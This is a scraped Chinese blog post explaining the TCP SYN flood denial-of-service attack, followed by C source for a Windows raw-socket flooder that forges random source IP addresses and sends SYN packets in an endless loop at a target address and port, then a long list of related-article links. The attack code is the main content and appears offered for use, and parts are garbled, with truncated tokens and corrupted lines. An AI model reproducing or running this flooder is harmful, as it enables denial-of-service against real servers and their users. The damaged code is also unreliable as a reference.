原 SynFlood---Ddos洪泛攻击（VC6.0）

2013年03月18日 20:30:27

熟悉tcp的都知道，在connect时候，有[illegible]握手过程。也就是所谓的[SYN] [SYN+ACK] [ACK]，在目的主机收到syn后，会回复一个确认包，但是若是[illegible]存在，那么并不能返回三次握手中的[illegible]包，导致目标主机不断为到来的连接分配资源，这样，只要源主机不断发送SYN报文，伪造大量的ip地址，会由于资源耗尽而崩溃。

```
/*************************************************************************/
/*      synFlood.h                                                       */
/*      2013-3-18                                                        */
/*************************************************************************/
typedef unsigned short ushor
typedef unsigned long ulong;
typedef unsigned int uint;
typedef unsigned char uchar;

//ip首部
typedef struct ip_hdr
{
        uchar h_verlen; //4        度,4位IP版本号
        uchar tos; //8位服务类型TOS
        ushort total_len; //16位总长度（字节）
        ushort ident; //16位标识
        ushort frag_and_flags; //3位标志位(另外13位为片偏移)
        uchar ttl; //8位生存时间 TTL
        uchar protocols; //8位协议 (如ICMP，TCP等)
        ushort chksum; //16位IP首部校验和
        uint sourceIP; //32位源IP地址
        uint destIP; //32位目的IP地址
}IP_HDR;
//tcp首部
typedef struct tcp_hdr
{
        ushort sourcePort;//16位源端口号
        ushort destPort;//16位目的端口号
        uint seq;//32位序号
        uint ack;//32位确认序号
        uchar h_lenres;//4位首部长度，6位保留
        uchar flag;     //6位标识
        ushort win;//16位窗口大小
        ushort chksum;//16位校验和
        ushort urgpoint;//16位紧急指针
}TCP_HDR;
//tcp伪首部,用于校验和的计算
typedef struct pre_tcp_hdr
{
        ulong sourceAddr; //32位源地址
        ulong destAddr; //32位目的地址
        char mbz;
        uchar ptcl; //8位协议类型
        ushort tcplen; //16位TCP长度
}PRE_HDR;
```

```
/*************************************************************************/
/*      synFlood.cpp                                                     */
/*      2013-03-18                                                       */
/*************************************************************************/
#include <stdio.h>
#include <winsock2.h>
```

```
#include <string.h> 10 #include <WS2TCPIP.H>
#include "synFlood.h"

#define SLEEPTIME 10

SOCKET sock;
SOCKADDR_IN addr_in;
IP_HDR ipHdr;
TCP_HDR tcpHdr;
PRE_HDR preHdr;
int SourcePort;
char sendBuf[60]={0};
int rect;

#pragma comment(lib, "ws2_32.lib")

//计算校验和的子函数
ushort chkSum(ushort *buffer, int size)
{
        ulong cksum=0;
        while(size >1)
        {
                cksum+=*buffer++;
                size -=sizeof(ushort);
        }
        if(size)
        {
                cksum += *(uchar*)buffer;
        }
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16);
        return (ushort)(~cksum);
}
//数据包首部填充
int dataFill(char * argv[])
{
        srand((int)time(0));
        //填充IP首部
        ipHdr.h_verlen=(4<<4 | sizeof(ipHdr)/sizeof(ulong));
        ipHdr.tos=0;
        ipHdr.total_len=htons(sizeof(ipHdr)+sizeof(ipHdr)); //IP总长度
        ipHdr.ident=1;
        ipHdr.frag_and_flags=0; //无分片
        ipHdr.ttl=(uchar)GetTickCount()%87+123;;
        ipHdr.protocols=IPPROTO_TCP; // 协议类型为 TCP
        ipHdr.chksum=0; //效验位先初始为0
        ipHdr.sourceIP=htonl(GetTickCount()*474695); //随机产生一个伪造的源IP
        ipHdr.destIP=inet_addr(argv[1]); //目标IP
        //printf("%d\n\n",ipHdr.destIP);
        //填充TCP首部
        SourcePort=GetTickCount()*43557%9898; //随机产生一个本机端口号
        //printf("%d\n\n",SourcePort);
        tcpHdr.destPort=htons(atoi(argv[2])); //目的端口
        tcpHdr.sourcePort=htons(SourcePort); //源端口号
        tcpHdr.seq=htonl(0x12345678);
        tcpHdr.ack=0;
        tcpHdr.h_lenres=(sizeof(tcpHdr)/4<<4|0);
        tcpHdr.flag=2; //为SYN请求
        tcpHdr.win=htons(512);//窗口大小
        tcpHdr.urgpoint=0;
        tcpHdr.chksum=0;

        //填充TCP伪首部用来计算TCP头部的效验和
        preHdr.sourceAddr=ipHdr.sourceIP;
        preHdr.destAddr=ipHdr.destIP;
        preHdr.mbz=0;
        preHdr.ptcl=IPPROTO_TCP;
        preHdr.tcplen=htons(sizeof(tcpHdr));//tcp协议长度

        return true;
}
```

```
//发送数据
int sendData()
{
        rect=sendto(sock, sendBuf, sizeof(ipHdr)+sizeof(tcpHdr), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
        if (rect==SOCKET_ERROR)
        {
                printf("send error!:%x",WSAGetLastError());
                return false;
        }else
                printf("success send\n");
        Sleep(SLEEPTIME);
        return true;
}
int main(int argc,char *argv[])
{
        WORD wVersionRequested;
        WSADATA wsaData;
        int err;
        BOOL flag;
        //socket版本检测
        wVersionRequested = MAKEWORD( 2, 2 );
        err = WSAStartup( wVersionRequested, &wsaData );
        if ( err != 0 ) {
                printf("WSAStartup Error!");
                return fal
        }
        if ( LOBYTE( wsaDa       ;ion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 ) {
                printf("Could not find a usable WinSock DLL\n");
                WSACleanup( );
                return false;
        }
        //输入检测
        if (argc < 3 || argc >4 )
        {
                printf("input error!\n");
                return false;
        }
        if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)//管理员权限才可以生成原始套接字
        {
                printf("Socket Error!\n");
                return false;
        }
        flag=true;
        if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
        {
                printf("setsockopt IP_HDRINCL error!\n");
                return false;
        }
        int nSendTime=30*1000;  //设置超时时间
        if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nSendTime, sizeof(nSendTime))==SOCKET_ERROR)
        {
                printf("setsockopt SO_SNDTIMEO error!\n");
                return false;
        }
        addr_in.sin_family=AF_INET;
        addr_in.sin_port=htons(atoi(argv[2]));//目的端口
        addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);//目的ip
        while(1)
        {
                dataFill(argv);
                //利用tcp报头与伪报头计算校验和
                memcpy(sendBuf, &preHdr, sizeof(preHdr));
                memcpy(sendBuf+sizeof(preHdr), &tcpHdr, sizeof(tcpHdr));
                tcpHdr.chksum=chkSum((ushort *)sendBuf,sizeof(preHdr)+sizeof(tcpHdr));
                //将伪造的ip报头与tcp报头封装发送
                memcpy(sendBuf, &ipHdr, sizeof(ipHdr));
                memcpy(sendBuf+sizeof(ipHdr), &tcpHdr, sizeof(tcpHdr));
                sendData();
        }
        closesocket(sock);
```

```
152         WSACleanup();
153
154         return 0;
155
156 }
```

个人分类： 网络编程

上一篇 CentOS6.3下安装VirtualBox虚拟机

下一篇 SynFlood--Ddos洪泛攻击（linux c）

对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇 922

分析者:alalmn—飞龙 BLOG:http://hi.l /alalmn 分析的不好请各位高手见谅花了几个小时分析的呵呵 TCP攻击主要分为2种 …

TCP三次握手报文 实例详解&&syn flood C/C++ 完整代码实现 7848

先大概说一下 TCP三次握手

各种泛洪攻击 - CSDN博客

1.SYN泛洪攻击原理:在三次握手中,客户端发送数据包时包里的源IP是虚假IP,导致服务器在返回SYN数据包时不知道返回给谁。工具:低…

SynFlood---Ddos洪泛攻击(VC6.0) - CSDN博客

熟悉tcp的都知道,在connect时候,有三次握手过程。也就是所谓的[SYN] [SYN+ACK] [ACK],在目的主机收到syn后,会回复一个确认包,但…

c++实现发送syn数据包

2011年12月28日 5KB 下载

DDOS攻击检测和防护 - CSDN博客

DDOS攻击作为常见的高危害性安全威胁,一直是CIO们的...2) DNS查询的泛洪攻击 DNS服务作为互联网的基础...

编译原理udp flood 攻击实验报告

编译原理udp flood 攻击实验报告

浅谈原始套接字 SOCK_RAW 的内幕及其应用（port scan, packet sniffer, syn flood, i… 1.8万

一、SOCK_RAW 内幕 首先在讲SOCK_RAW 之前，先来看创建socket 的函数： int socket(int domain, int type, int protocol); doma...

C++ socket编程基础二(三种Socket:TCP,UDP,原始Socket) 1966

一、基于TCP（面向连接）的Socket 1、服务器端 创建套接字 SOCKET socket(int af, //参数af指定通信发生的区域：AF_UNIX、…

SYNFlood_洪泛_攻击的检测与防范

DoS-DDoS攻击与防范 立即下载 上传者: jiangsucsdn002 时间: 2017-05-25 综合...SYNFlood_洪泛_攻击的检测与防范 3积分 立即下载 ...

tfn2kddos攻击工具源码

tfn2kddos攻击工具源码,学习用!综合评分:4 收藏评论(1)举报 所需: 3积分/C...UDP Flood 攻击工具 5C币 77下载 SYN 泛洪攻击工具 3C…

泛洪攻击(Flood)与TCP代理(TCP proxy) 1811

下文摘自H3C攻击防范指导手册 泛洪攻击 网络上常常会发生泛洪攻击和网络扫描攻击。泛洪攻击指攻击者向攻击目标发送大量的虚假…

泛洪攻击的几种方法解析 - CSDN博客

ICMP,SYN TCP,UDP Flood,TCP land.....

泛洪攻击C#实现 - CSDN博客

随着网络技术的发展,原始套接字在网络安全编程中应用变得更加广泛。.NET作为新的平台,用类库封装了原始套接字,同时支持Ipv6,同…

TCP洪水攻击（SYN Flood）的诊断和处理

 619

from:http://tech.uc.cn/?p=1790 1. SYN Flood介绍 前段时间网站被攻击多次，其中最猛烈的就是TCP洪水攻击，即SYN Flood。 SYN F…

TCP连接

 31

TCP 的整个交流过程可以总结为：先建立连接，然后传输数据，最后释放链接。 + 三次握手，建立连接 TCP 连接建立要解决的首要问…

结合Socket实现DDoS攻击 - CSDN博客

一、实验说明 1. 实验介绍 通过上一节实验的SYN泛洪攻击结合Socket实现DDoS攻击。 2. 开发环境 Ubuntu LinuxPython 3.x版本 3. 知…

浅谈ddos的测试方式 - CSDN博[illegible]

从技术上来说,DOS和DDOS都是攻击目标 带宽...RST泛洪的测试工具也是hping3 命令:hping3 --flood...ICMP递送状态消息,错…

TCP的那些事儿（上）

 2121

文章出处：http://coolshell.cn/articles/11564.html TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问…

tcp总结

 366

cp tcp出现rst的情况整理 http://www.cnblogs.com/lulu/p/4149562.html 正常情况tcp四层握手关闭连接，rst基本都是异常情...

面试题：三次握手、四次握手内容整理

 4.1万

第一次握手：建立连接时，客户端发送syn包（syn=j）到服务器，并进入SYN_SENT状态，等待服务器确认；SYN：同步序列编号（S…

TCP/IP协议详解内容总结（怒喷一口老血）

 3万

TCP/IP协议 TCP/IP不是一个协议，而是一个协议族的统称。里面包括IP协议、IMCP协议、TCP协议。 TCP/IP分层： 这里有几个需要…

TCP相关面试题总结

 1.1万

TCP建立连接过程 wireshark抓包为：（wireshark会将seq序号和ACK自动显示为相对值） 1）主机A发送标志syn = …

端口扫描—TCP SYN

 944

扫描程序向目标主机发送SYN数据段，好像准备打开一个实际的连接并等待反映一样。如果收到的应答是SYN/ACK，那么说明目标端…

TCP三次握手和四次挥手全过程及为什么要三次握手解答

 1.2万

TCP三次握手和四次挥手的全过程 TCP是主机对主机层的传输控制协议，提供可靠的连接服务，采用三次握手确认建立一个连接: …

关于SYN洪泛攻击简单介绍

 1530

在TCP三次握手中，服务器为了响应一个收到的SYN，分配并初始化连续变量和缓存。然后服务器发送一个SYNACK进行响应，并等…

ddos之icmp洪泛攻击源代码

 1700

声明： 该内容旨在分析网络攻击的存在形式，并不是为了鼓励大家使用文中的方式去攻击别人的计算机和网络。技术是为了造福…

各种泛洪攻击

 4504

1.SYN泛洪攻击 原理：在三次握手中，客户端发送数据包时包里的源IP是虚假IP，导致服务器在返回SYN数据包时不知道返回给谁。 …

TCP SYN泛洪攻击
2338
尽管这种攻击已经出现了十四年，但它的变种至今仍能看到。虽然能有效对抗SYN洪泛的技术已经存在，但是没有对于TCP实现的一个…

C语言实现基于SYN洪泛的DoS攻击
2689
这是一个C语言程序，C语言实现基于SYN洪泛的DoS攻击。其中，启动传入参数第一个是伪造源地址，第二个是目的地址，第三个是…

syn攻击源代码
1395
一、linux下源代码实现 /* syn flood by wqfhenanxc. * random soruce ip and random sourec port. * use #inc...

SYN Flood
619
当主机发起一个新的TCP连接时，一个TCP段的SYN标志被激活。如下所示的连接建立是成功地完成了当执行3次握手的方法： 攻击者…

SYN flood C源代码
下载 2018年
SYN flood是属于DOS攻击的一种典型方式,其发生方式就出现在TCP连接的三次握手中,假设一个用户向服务器…

泛洪攻击的几种方法解析
1.8万
ICMP,SYN TCP,UDP Flood,TCP land.....

SynFlood--Ddos洪泛攻击（linux c）
3044
首先，synflood攻击是一中拒绝服务攻击，它算得上是最常见的一中dos拒绝服务攻击攻击手段。原理在上一篇中也有提到过，就是在…

测试syn-flood等泛洪攻击的小软件
2012年10月26日 348KB 下载

使用Scapy制造SYN洪泛攻击
256
#!/usr/bin/python #coding=utf-8 from scapy.all import * import optparse def synFlood(src, tgt): ...

TCP SYN洪泛攻击的原理及防御方法
507
尽管这种攻击已经出现了十四年，但它的变种至今仍能看到。虽然能有效对抗SYN洪泛的技术已经存在，但是没有对于TCP实现的一个…

flooding - 洪泛
821
英文： Flooding 中文： 洪泛、泛洪 介绍： 当某个节点收到一个不是发给它的分组时，==就将该分组转发到所有与该节点相连的链路…

inviteflood -SIP/SDP 泛洪攻击
3984
0x00前言 会话发起协议（Session Initiation Protocol，缩写SIP） 会话描述协议（Session Description Protocol或简写SDP）描述的是…

MAC泛洪攻击和防御
5431
1. 什么是mac地址泛洪攻击？ 交换机中存在着一张记录着MAC地址的表，为了完成数据的快速转发，该表具有自动学习机制；泛洪攻…

SYNFlood_洪泛_攻击的检测与防范
2008年10月13日 200KB 下载

MAC泛洪攻击实现简略版
432
一、环境搭建 二、实现步骤 1、主机C（攻击机）的IP查询和ARP表查询： 主机A（服务机）的IP查询和ARP表查询： 主机B（客户机…

广播和泛洪的区别 3427

转自 广播帧的产生:网络中存在有广播帧是不可避免的,比如开启了DHCP服务器, 每次请求, 都会有以"FF.FF.FF.FF.FF.FF"的帧格式出现…

雨水泛洪和网络泛洪那个更可怕 1361

雨水泛洪和网络泛洪一样可怕，所以我们要在了解学习技术的同时，也是抽时间了解下雨水泛洪防患和治理常识，用知…

mac泛洪攻击 2826

原理： 交换机mac表的空间有限，当mac表存满了mac地址的时候会报错，并且进入非正常状态，在这个状态交换机工作的时候会把接…

无线网络攻击之mdk3泛洪攻击 1503

原文地址：无线网络攻击之mdk3泛洪攻击作者：secer 原文地址：http://blog.sina.com.cn/s/blog_c19382720101do8n.…

Scapy实现SYN泛洪攻击 605

一、实验说明 1.实验介绍 本次实验将使用python3版本的Scapy--Scapy3k来实现一个简单的DDos，本次实验分为两节，本节将学习如…

DDOS攻击原理，及通过iptables预防syn洪水攻击 1305

DDOS攻击中文翻译成『分布式阻断服务攻击』，从字面上的意义来看，它就是透过分散在各地的僵尸计算机进行攻击， 让你的系统…

洪泛路由协议的原理 931

洪泛（mflood）路由算法是一个简单有效的路由算法，其基本思想是每个节点都是用广播转发收到的数据分组，若收到重复分组则进行…

个人资料

zhiy_wis

原创 61 粉丝 10

等级： 博客 4 访问

积分： 1774 排名

最新文章

python发送邮件（含附件）

将wordpress文章分享到q

微博分享各类规格代码

cookie加密解密函数

解决checkbox未选中不传